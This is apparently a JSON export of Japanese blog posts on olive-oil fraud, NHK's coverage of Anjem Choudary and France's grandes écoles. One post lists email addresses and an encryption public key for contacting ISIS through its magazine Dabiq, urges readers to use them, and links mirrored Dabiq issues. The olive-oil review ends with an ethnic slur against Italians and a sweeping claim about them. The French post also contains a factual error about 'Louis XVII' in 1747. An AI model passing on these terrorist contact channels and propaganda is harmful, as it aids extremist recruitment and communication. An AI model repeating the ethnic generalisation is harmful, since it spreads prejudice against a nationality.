それらの詐欺行為はイタリア人とカリフォルニア人が主に行っている\r\n\r\nとのことだった。カリフォルニアにはヨーロッパ系アメリカ人が特に多いことが知られている。カリフォルニアにおいてもイタリア人が犯罪行為を主導していると考えるのが極自然だ(本書中にもカリフォルニアでシチリア人がオリーブオイルに関する犯罪行為を行っている事例が記されている)。ようするにイタリア人がオリーブオイルに関する不正を世界規模で主導しているということだ。\r\n\r\n著者は不正なオイルを掴まされずに上質なエクストラバージンオリーブオイルを選ぶ方法についてもとうとうと述べているが、最低限必要なことはイタリア製であるとか、マーケティングワードにイタリアという言葉を含んでいるオイルを避けるということであるのは明らかだ。\r\n\r\n日本の小豆島のオイルは比較的高品質であることが知られているが、生産量が極僅少であるためコストパフォーマンスが著しく悪い。この本の中で著者はオーストラリア産オイルが有望な新興勢力であると述べている。そのオーストラリアのオリーブオイルにしたところで日本国内で入手可能なものは比較的高額だ。\r\n\r\n高品質オリーブオイルを入手したい場合は\r\n\r\n- 最低限イタリアが関わるものは避ける\r\n- 著者は 1L 10 ユーロを下回るものはまず偽装と述べているので、 1L 1500 円以上のものを買う\r\n- 余裕がある場合オーストラリア産オイルを買う\r\n\r\nという対応が望ましいと本書を読んだ思いました。イタリア人マジで糞ですねという感想になるのでイタリア好きな人は読まないほうがいいです。","created_at":"2015-01-12T07:28:15.000Z","updated_at":"2015-01-12T07:28:15.000Z"},{"id":2783,"name":"text/エキストラバージン読んだ","body":"%blog% エクストラバージンの嘘と真実読んだ\r\n\r\n### \u003ca href=\"http://www.amazon.co.jp/gp/product/482224928X/ref=as_li_ss_tl?ie=UTF8\u0026camp=247\u0026creative=7399\u0026creativeASIN=482224928X\u0026linkCode=as2\u0026tag=waraeyo-22\"\u003eエキストラバージンの嘘と真実 スキャンダルにまみれたオリーブオイルの世界\u003c/a\u003e\u003cimg src=\"http://ir-jp.amazon-adsystem.com/e/ir?t=waraeyo-22\u0026l=as2\u0026o=9\u0026a=482224928X\" width=\"1\" height=\"1\" border=\"0\" alt=\"\" style=\"border:none !important; margin:0px !important;\" /\u003e\r\n\u003ciframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank\u0026bc1=000000\u0026IS2=1\u0026bg1=FFFFFF\u0026fc1=000000\u0026lc1=0000FF\u0026t=waraeyo-22\u0026o=9\u0026p=8\u0026l=as4\u0026m=amazon\u0026f=ifr\u0026ref=ss_til\u0026asins=482224928X\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"\u003e\u003c/iframe\u003e\r\n\r\nこれ読んだ。著者のオリーブオイルに対する思い入れと、オリーブオイルの不正に関する雑多な文章が無秩序に並べてあって結構読みづらい本なのだけど、面白いことは面白い。\r\n\r\n「著者のオリーブオイルに対する思い入れ」の部分は非常に非論理的かつ非科学的でほとんど価値はない。しかし「オリーブオイルの不正」に関するパートは非常に面白い。\r\n\r\nこのパートを要約すると\r\n\r\n- 低質なオリーブオイルや菜種油、大豆油に上質なオリーブオイルをわずかに混ぜたものを上質なオリーブオイルとして売る詐欺行為が頻繁に行われている\r\n- それらの詐欺行為はイタリア人とカリフォルニア人が主に行っている\r\n\r\nとのことだった。カリフォルニアにはヨーロッパ系アメリカ人が特に多いことが知られている。カリフォルニアにおいてもイタリア人が犯罪行為を主導していると考えるのが極自然だ(本書中にもカリフォルニアでシチリア人がオリーブオイルに関する犯罪行為を行っている事例が記されている)。ようするにイタリア人がオリーブオイルに関する不正を世界規模で主導しているということだ。\r\n\r\n著者は不正なオイルを掴まされずに上質なエクストラバージンオリーブオイルを選ぶ方法についてもとうとうと述べているが、最低限必要なことはイタリア製であるとか、マーケティングワードにイタリアという言葉を含んでいるオイルを避けるということであるのは明らかだ。\r\n\r\n日本の小豆島のオイルは比較的高品質であることが知られているが、生産量が極僅少であるためコストパフォーマンスが著しく悪い。この本の中で著者はオーストラリア産オイルが有望な新興勢力であると述べている。そのオーストラリアのオリーブオイルにしたところで日本国内で入手可能なものは比較的高額だ。\r\n\r\n高品質オリーブオイルを入手したい場合は\r\n\r\n- 最低限イタリアが関わるものは避ける\r\n- 著者は 1L 10 ユーロを下回るものはまず偽装と述べているので、 1L 1500 円以上のものを買う\r\n- 余裕がある場合オーストラリア産オイルを買う\r\n\r\nという対応が望ましいと本書を読んで思いました。イタリア人マジで糞ですねという感想になるのでイタリア好きな人は読まないほうがいいです。","created_at":"2015-01-12T07:35:12.000Z","updated_at":"2015-01-12T07:35:12.000Z"},{"id":2784,"name":"text/チョーダリーについて","body":"%blog% アンジェム・チャウダリー(チョードリー)氏について\r\n\r\n\u003eロンドンを拠点に活動するイスラム教の指導者、アンジェム・チョードリー氏は(略)「アメリカの政策によって多くのイスラム教徒が死んでおり、どんな形であれアメリカを支持するならば日本の市民やジャーナリストが捕らえられても驚きはしない」と述べました。\r\n\u003e\r\n\u003e -[「日本 中立とは見られていない」 NHKニュース](http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html)\r\n\r\nという記事が NHK ニュースで配信されました。また以下のようにもあります\r\n\r\n\u003e アンジェム・チョードリー氏は、シリアやイラクへ渡って戦闘に加わるイギリスの若者に影響を与えているとされ、去年9月にはテロを扇動した疑いで一時、身柄を拘束されるなど、当局が監視を続けています。\r\n\r\nとあります。\r\n\r\nところで NHK ニュースでの表記では Choudary をチョードリーとしていますが、一般的にはチャウダリーと表記されてきた歴史があると思いますので、以下ではチャウダリーと統一します。後述しますがこの表記についてもかなり問題があります。\r\n\r\nこのチャウダリー氏ですが、イギリスで著名なイスラム過激派の支持者です。\r\n\r\n**シリアやイラクへ渡って戦闘に加わるイギリスの若者に影響を与えている**と NHK のニュースにあり、これだけではチャウダリー氏はイスラム国にのみ通じているかのような印象を与えます。実際にはこれは正確な理解ではありません。\r\n\r\n例えばサラーフアッディーンことリチャード・ダートはチャウダリー氏の影響を受け、[パキスタンのアルカイダに参加しようとして逮捕されました](http://www.dailymail.co.uk/news/article-2175777/Terror-suspects-including-Richard-Dart-travelled-Pakistan-training-remanded-custody.html)。\r\n\r\nつまりこれは彼が「イスラム国」のような特定組織の支持者ではなく、「ジハード主義」という思想を広める(ある意味でより危険な)思想家であることを明らかにするものです。\r\n\r\nまた彼は典型的なスピン・ドクターで論点ずらしと詭弁の達人です。\r\n\r\n彼のその能力は NHK とのインタビューでも十分に発揮されています。\r\n\r\n本来、イスラム過激派という問題には以下の三者が参加しているはずです\r\n\r\n- 欧米型民主主義国家\r\n- イスラム教徒\r\n- イスラム過激派、ジハード主義者、イスラム原理主義者と呼ばれる者達\r\n\r\nですがチャウダリー氏はあたかも\r\n\r\n- 欧米型民主主義国家\r\n- イスラム教徒\r\n\r\nしかリングに上がっておらず ジハード主義者==イスラム教徒 であるかのように話をしています。\r\n\r\n日本人はイスラム原理主義による脅威に実際直面しているわけでもないためこの問題に比較的冷静に対処することができます。なのでチャウダリー氏の詭弁にはまっている人が多くいるわけではないです。\r\n\r\nただ実際はてなブックマークとか見てると以下のような人達がいます。\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/deep_one\" data-user-id=\"deep_one\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/de/deep_one/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e当たり前。ウクライナ問題でも明白にNATO側だし、中東でもアメリカ陣営にカウントされてると思うよ。だいたい「集団的自衛権」を言い続けてるじゃない。それはつまり中立ではないという宣言だよ。\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/deep_one/20150122#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/22 14:28\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/ojt555ksd333\" data-user-id=\"ojt555ksd333\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/oj/ojt555ksd333/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e2人の命が心配。日本でもテロが起きる危険性があるよね。安倍さん、どうするの?\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/ojt555ksd333/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 22:02\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/n_pikarin7\" data-user-id=\"n_pikarin7\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/n_/n_pikarin7/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e自衛隊派遣したくてウズウズしてるもんなあ。\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/n_pikarin7/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 18:30\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/hobo_king\" data-user-id=\"hobo_king\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/ho/hobo_king/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cul class=\"comment-tag\" style=\"list-style: none; margin: 0px;\"\u003e\u003cli style=\"float: left\"\u003e[\u003ca href=\"/search/tag?q=%E5%9B%BD%E9%9A%9B\"\u003e国際\u003c/a\u003e]\u003c/li\u003e\u003cli style=\"float: left\"\u003e[\u003ca href=\"/search/tag?q=%E6%94%BF%E6%B2%BB\"\u003e政治\u003c/a\u003e]\u003c/li\u003e\u003c/ul\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003eテロ組織は置いておくとしても、日本が中東諸国と西欧諸国のどっちかって言われたらそら西欧諸国側だろ。別にケンカもしとらんがどっちか取れと言われたら一択だろ。日本ってあのアメリカの同盟国よ!?\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/hobo_king/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 17:55\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\nこういう反応を示す人がいるわけですから、チャウダリー氏の詭弁を暴くような形の報道、記事にしていいのではないか、もしそういうやり方をしたとしても「報道の中立」は保たれるのではないかと僕は思っています。\r\n\r\nそして何よりも問題なのは何かというと、チャウダリー氏がそのような危険人物であるということを、僕は NHK の番組を通じて知ったということです。\r\n\r\n具体的には NHK BS 世界のドキュメンタリーで放送された以下の二本の映画です\r\n\r\n- BS世界のドキュメンタリー「兄はイスラム原理主義者になった」 (2013/12 放送)\r\n- BS世界のドキュメンタリー「そして、兄はテロリストになった」 (2014/09 放送)\r\n\r\nこの映画は、チャウダリーの影響を受けてジハード主義者となりテロリストとなった兄(上述したリチャード・ダートです)を持つドキュメンタリー作家がそのジハード主義者の兄、兄の友人のジハード主義者、そしてチャウダリー氏自身にインタビューをしてチャウダリーの危険性や悪質さを暴くものです。\r\n\r\n自局で「チャウダリーはこういうヤバイやつだ」っていう番組流したのに報道部の人はこれ見てないんですか?だいたいこの番組ではチャウダリーっていう表記だったのに、ニュース番組ではチョードリーっていう表記になってて統一されてないってのはこれはどういうことなのでしょうか。\r\n\r\nNHK の報道番組は正直テレビ局の中でも群を抜いて酷いように思えます。イスラム国による脅迫ビデオ問題についても例によって鈴木創のコメントとりに行ってたし([鈴木創については前に書きました](http://ssig33.com/text/%E6%97%A5%E6%9C%AC%E9%9F%B3%E9%9F%BF%E7%A0%94%E7%A9%B6%E6%89%80))。\r\n\r\nせめて自局で流した質のいいドキュメンタリーぐらい見てからニュース番組ぐらい作ってほしいもんです。","created_at":"2015-01-22T08:13:12.000Z","updated_at":"2015-01-22T08:13:12.000Z"},{"id":2785,"name":"text/チョーダリーについて","body":"%blog% アンジェム・チャウダリー(チョードリー)氏について\r\n\r\n\u003eロンドンを拠点に活動するイスラム教の指導者、アンジェム・チョードリー氏は(略)「アメリカの政策によって多くのイスラム教徒が死んでおり、どんな形であれアメリカを支持するならば日本の市民やジャーナリストが捕らえられても驚きはしない」と述べました。\r\n\u003e\r\n\u003e - [「日本 中立とは見られていない」 NHKニュース](http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html)\r\n\r\nという記事が NHK ニュースで配信されました。また以下のようにもあります\r\n\r\n\u003e アンジェム・チョードリー氏は、シリアやイラクへ渡って戦闘に加わるイギリスの若者に影響を与えているとされ、去年9月にはテロを扇動した疑いで一時、身柄を拘束されるなど、当局が監視を続けています。\r\n\r\nとあります。\r\n\r\nところで NHK ニュースでの表記では Choudary をチョードリーとしていますが、一般的にはチャウダリーと表記されてきた歴史があると思いますので、以下ではチャウダリーと統一します。後述しますがこの表記についてもかなり問題があります。\r\n\r\nこのチャウダリー氏ですが、イギリスで著名なイスラム過激派の支持者です。\r\n\r\n**シリアやイラクへ渡って戦闘に加わるイギリスの若者に影響を与えている**と NHK のニュースにあり、これだけではチャウダリー氏はイスラム国にのみ通じているかのような印象を与えます。実際にはこれは正確な理解ではありません。\r\n\r\n例えばサラーフアッディーンことリチャード・ダートはチャウダリー氏の影響を受け、[パキスタンのアルカイダに参加しようとして逮捕されました](http://www.dailymail.co.uk/news/article-2175777/Terror-suspects-including-Richard-Dart-travelled-Pakistan-training-remanded-custody.html)。\r\n\r\nつまりこれは彼が「イスラム国」のような特定組織の支持者ではなく、「ジハード主義」という思想を広める(ある意味でより危険な)思想家であることを明らかにするものです。\r\n\r\nまた彼は典型的なスピン・ドクターで論点ずらしと詭弁の達人です。\r\n\r\n彼のその能力は NHK とのインタビューでも十分に発揮されています。\r\n\r\n本来、イスラム過激派という問題には以下の三者が参加しているはずです\r\n\r\n- 欧米型民主主義国家\r\n- イスラム教徒\r\n- イスラム過激派、ジハード主義者、イスラム原理主義者と呼ばれる者達\r\n\r\nですがチャウダリー氏はあたかも\r\n\r\n- 欧米型民主主義国家\r\n- イスラム教徒\r\n\r\nしかリングに上がっておらず ジハード主義者==イスラム教徒 であるかのように話をしています。\r\n\r\n日本人はイスラム原理主義による脅威に実際直面しているわけでもないためこの問題に比較的冷静に対処することができます。なのでチャウダリー氏の詭弁にはまっている人が多くいるわけではないです。\r\n\r\nただ実際はてなブックマークとか見てると以下のような人達がいます。\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/deep_one\" data-user-id=\"deep_one\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/de/deep_one/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e当たり前。ウクライナ問題でも明白にNATO側だし、中東でもアメリカ陣営にカウントされてると思うよ。だいたい「集団的自衛権」を言い続けてるじゃない。それはつまり中立ではないという宣言だよ。\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/deep_one/20150122#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/22 14:28\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/ojt555ksd333\" data-user-id=\"ojt555ksd333\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/oj/ojt555ksd333/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e2人の命が心配。日本でもテロが起きる危険性があるよね。安倍さん、どうするの?\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/ojt555ksd333/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 22:02\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/n_pikarin7\" data-user-id=\"n_pikarin7\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/n_/n_pikarin7/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003e自衛隊派遣したくてウズウズしてるもんなあ。\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/n_pikarin7/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 18:30\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\n\u003cblockquote class=\"hatena-bookmark-comment\"\u003e\u003ca class=\"comment-info\" href=\"http://b.hatena.ne.jp/entry/239686942/comment/hobo_king\" data-user-id=\"hobo_king\" data-entry-url=\"http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-original-href=\"http://www3.nhk.or.jp/news/html/20150121/k10014852751000.html\" data-entry-favicon=\"http://cdn-ak.favicon.st-hatena.com/?url=http%3A%2F%2Fwww3.nhk.or.jp%2F\" data-user-icon=\"/users/ho/hobo_king/profile.gif\"\u003e「日本 中立とは見られていない」 NHKニュース\u003c/a\u003e\u003cul class=\"comment-tag\" style=\"list-style: none; margin: 0px;\"\u003e\u003cli style=\"float: left\"\u003e[\u003ca href=\"/search/tag?q=%E5%9B%BD%E9%9A%9B\"\u003e国際\u003c/a\u003e]\u003c/li\u003e\u003cli style=\"float: left\"\u003e[\u003ca href=\"/search/tag?q=%E6%94%BF%E6%B2%BB\"\u003e政治\u003c/a\u003e]\u003c/li\u003e\u003c/ul\u003e\u003cbr\u003e\u003cp style=\"clear: left\"\u003eテロ組織は置いておくとしても、日本が中東諸国と西欧諸国のどっちかって言われたらそら西欧諸国側だろ。別にケンカもしとらんがどっちか取れと言われたら一択だろ。日本ってあのアメリカの同盟国よ!?\u003c/p\u003e\u003ca class=\"datetime\" href=\"http://b.hatena.ne.jp/hobo_king/20150121#bookmark-239686942\"\u003e\u003cspan class=\"datetime-body\"\u003e2015/01/21 17:55\u003c/span\u003e\u003c/a\u003e\u003c/blockquote\u003e\u003cscript src=\"https://b.st-hatena.com/js/comment-widget.js\" charset=\"utf-8\" async\u003e\u003c/script\u003e\r\n\r\nこういう反応を示す人がいるわけですから、チャウダリー氏の詭弁を暴くような形の報道、記事にしていいのではないか、もしそういうやり方をしたとしても「報道の中立」は保たれるのではないかと僕は思っています。\r\n\r\nそして何よりも問題なのは何かというと、チャウダリー氏がそのような危険人物であるということを、僕は NHK の番組を通じて知ったということです。\r\n\r\n具体的には NHK BS 世界のドキュメンタリーで放送された以下の二本の映画です\r\n\r\n- BS世界のドキュメンタリー「兄はイスラム原理主義者になった」 (2013/12 放送)\r\n- BS世界のドキュメンタリー「そして、兄はテロリストになった」 (2014/09 放送)\r\n\r\nこの映画は、チャウダリーの影響を受けてジハード主義者となりテロリストとなった兄(上述したリチャード・ダートです)を持つドキュメンタリー作家がそのジハード主義者の兄、兄の友人のジハード主義者、そしてチャウダリー氏自身にインタビューをしてチャウダリーの危険性や悪質さを暴くものです。\r\n\r\n自局で「チャウダリーはこういうヤバイやつだ」っていう番組流したのに報道部の人はこれ見てないんですか?だいたいこの番組ではチャウダリーっていう表記だったのに、ニュース番組ではチョードリーっていう表記になってて統一されてないってのはこれはどういうことなのでしょうか。\r\n\r\nNHK の報道番組は正直テレビ局の中でも群を抜いて酷いように思えます。イスラム国による脅迫ビデオ問題についても例によって鈴木創のコメントとりに行ってたし([鈴木創については前に書きました](http://ssig33.com/text/%E6%97%A5%E6%9C%AC%E9%9F%B3%E9%9F%BF%E7%A0%94%E7%A9%B6%E6%89%80))。\r\n\r\nせめて自局で流した質のいいドキュメンタリーぐらい見てからニュース番組ぐらい作ってほしいもんです。","created_at":"2015-01-22T09:49:49.000Z","updated_at":"2015-01-22T09:49:49.000Z"},{"id":2786,"name":"text/イスラム国の連絡先","body":"%blog%\r\n\r\nイスラム国の機関誌 DABIQ の 2 号などにに書いてあります。メールアドレスは以下の三つがあります。\r\n\r\n- dabiq-is@0x300.com\r\n- dabiq-is@india.com\r\n- dabiq-is@yandex.com\r\n\r\nこれらは機関誌 DABIQ のメールアドレスですが、ここに一度連絡することで適切な連絡先にフォワードしてもらうことは可能だろうと思います。\r\n\r\n公開鍵も雑誌に乗っています。以下の通り。\r\n\r\n\r\n```\r\n#---Begin Al-Ekhlaas Network ASRAR El Moujahedeen V2.0 Public Key 2048 bit---\r\npyHAfz5GBgpRcZaUAmoFA1+s98ZqPNqxSJ+WuF50JkeJgoU5BV\r\nwHOIkNQyxMkeP7PYfGOiyB1ltsNKXb+mY6AnQpP6B8klGM/ZXp\r\nHAS1xHSjOzUVx/sOv/iYVRbh7jb4N1oHb+FtbWLK6UwWAdGwrz\r\nXWCGe5lPjEJztNaGtZebYProzvT3BDirfuHn3HcLTyQOEnSIQT\r\nNtupJHEWUzQ7mjdO0/8cZkOXccjyMDqTKH3LOMc57VTuhu0waH\r\n4nEKpDgeqB+ssRo2jD4AW8bmvLfebPGNaJXdUScbIyzwstL+Rv\r\np8m8pqbsRg++o/AkKdOn73Wsj6fK67upT5bqeuVH7vtv3ZNOvb\r\n3puGniDKffNaIo+qqDZEpxDqmWluTl1QiADlWd6IsrCWR8iYm+\r\naiNyCR7wu/qD2LkOGauvUr9B23yU5sR17U+oyXOR9mQrqGkade\r\n6FRqnFevBeqKqrSy7Erxz9xi/yTLHtQ1ycsSnDh1I+nLoSB+6F\r\nX9DYePUtzlTvck5N70xH5QKHQuO+F3J+DIPnJ6XVNQ==\r\n#---End Al-Ekhlaas Network ASRAR El Moujahedeen V2.0 Public Key 2048 bit---\r\n```\r\n\r\nイスラム国に用事のある方はこちらに連絡しましょう。\r\n\r\nDABIQ の 1 号から最新号までを以下にミラーを貼っておきます。\r\n\r\n- [1 号](http://s.ssig33.com/files/891d34dd3ac64e7ca977991274ae7ae3)\r\n- [2 号](http://s.ssig33.com/files/936b5fb3289f45588d10cd096aa40933)\r\n- [3 号](http://s.ssig33.com/files/6a5a29e43b6441d59389e45408d8ac3d)\r\n- [4 号](http://s.ssig33.com/files/9d2a8e4f96e84a60a31267240dd1299f)\r\n- [5 号](http://s.ssig33.com/files/4c770fe715a14051920746822fa0fea2)\r\n- [6 号](http://s.ssig33.com/files/d90b1cbdaa764715b55fbfe31794bcc2)","created_at":"2015-01-23T07:22:04.000Z","updated_at":"2015-01-23T07:22:04.000Z"},{"id":2787,"name":"text/フランスの教育制度","body":"%blog%\r\n\r\n中国では科挙と呼ばれる制度で行政官を採用していたことは、比較的よく知られています。この制度は極論すると、「試験を通じて官僚になるためのルートは用意するが、教育機関は用意しない」というものです。\r\n\r\n科挙なる試験を突破するための教育は、全て民間に任されていたわけです。すなわち、優秀な官僚になるための教育は全て民間に委託されていたと言っても過言ではありません。\r\n\r\nこのような方針は日本においても採用されていたと言ってよいでしょう。江戸時代において諸侯であるとか、徳川将軍家などと呼ばれる人達は、戦国時代から続く武士の家だとか、あるいは武家株を購入するだけの資力を持った商人の自助努力に頼って人材を集めていましたし、明治以降の大日本帝国や現日本政府は帝国大学を出て公務員になる試験を受ける人材を政府の資金で教育するということはしていません。\r\n\r\n現代においてあくまで各家庭が自らの努力で子弟を教育し、その上澄みを国家公務員試験でかっさらえば、国家機構を安定的に運用するだけの優秀な人材を獲得することができます。\r\n\r\nつまり、日本(や中国)においては「公務員」になりたい人は沢山いて、国家が一々教育するまでもなく民間が勝手に優秀な人材を育ててくれるので、国家は試験をするだけで優秀な人材を得られたわけです。\r\n\r\n一方フランスではそうではありませんでした。\r\n\r\n1747 年、フランス国王ルイ 17 世は「国立土木学校」なる学校をパリに創建しました。これは国家の公共事業を推進する技術者を王家自らが教育、養成する学校でした。フランスの絶対王政期においてでさえ、国家は優秀な技術系官僚を自ら教育せねばならなかったわけです。\r\n\r\n1789 年、フランス革命が勃発し、貴族政治は終焉を迎えたため、フランスは国家を運営するエリートを多数必要とするようになりました。結果、フランスは「国立土木学校」に類似する官僚養成のための学校を多数設置しました。\r\n\r\nこれらの学校は「グランゼコール(Grandes Écoles)」と総称され、直訳すれば「すごい学校」「高等な学校」というような意味になります。\r\n\r\nいずれにせよ 18 世紀以降フランスは\r\n\r\n- 政府自らが官僚を教育する学校を設置\r\n\r\nしなければ優秀な官僚を得ることが不可能となっていたわけです。\r\n\r\nそうして時は流れ第二次世界大戦直後、時のフランス政府首班・シャルル・ド・ゴールはナチス・ドイツにより荒廃した国土に優秀な官僚のいないという事実に直面しました。\r\n\r\nここでド・ゴールが採用した手段は優秀人材を在野から登用することではなく、「国立行政学院(ENA)」なる新しいグランゼコールを設立することでした。\r\n\r\nこれはようするに在野の人材のうち使い物になるのは少なく、改めて新時代の人材を国家自らが教育する必要があったということです。\r\n\r\nこのような事実は何を示しているかというと、「フランス人の多くは別に公務員になりたいわけではない」ということです。\r\n\r\n本邦においては多くの優秀な人材が公務員を目指しています。また国家公務員試験であるとか、防衛大学校入学試験だとかいった公務員採用の試験には放っておいても様々な人材が勝手に集まります。\r\n\r\n簡単に例を示せば、我が国では**天木直人**と**田母神俊雄**と**佐藤優**が放っておいても公務員になります。\r\n\r\n一方フランスにおいては\r\n\r\n- 長い苦労と学習期間を求められるグランゼコールなるエリート養成学校に入ったのち、国家公務員になろう\r\n\r\nという奇特な考えを持つ人材のみが公務員になります。現代において「エリート養成機関」と認められるグランゼコールは上述の ENA や国立土木学校を含めてわずかに 5 校前後に過ぎません。\r\n\r\nようするに、フランスではそれら 5 校のグランゼコールに進学を志合格するような同じようなタイプの人間ばかりが官僚や政治家になるということです。東大やらなんやらを卒業しておけばとりあえずエリートと認められる我が国ほど多様な人材が供給される環境にはないわけです。\r\n\r\nところで正直いって我々日本人からは「シャルリーなる週刊誌を守ろう!!」と政治家が大声でいっている状況には或る種の不自然さを感じさせるところがあると思います。\r\n\r\n例えば、例えばですよ、公明党の太田明宏代表と民主党の岡田克也代表が手と手をとって**「ビートたけしによるフライデー襲撃事件を許すな!!表現の自由を守れ!!」**などとがなっていたらお笑いでしかないです。ですがフランスではこれに似た出来事が起きています。\r\n\r\nこれは\r\n\r\n- 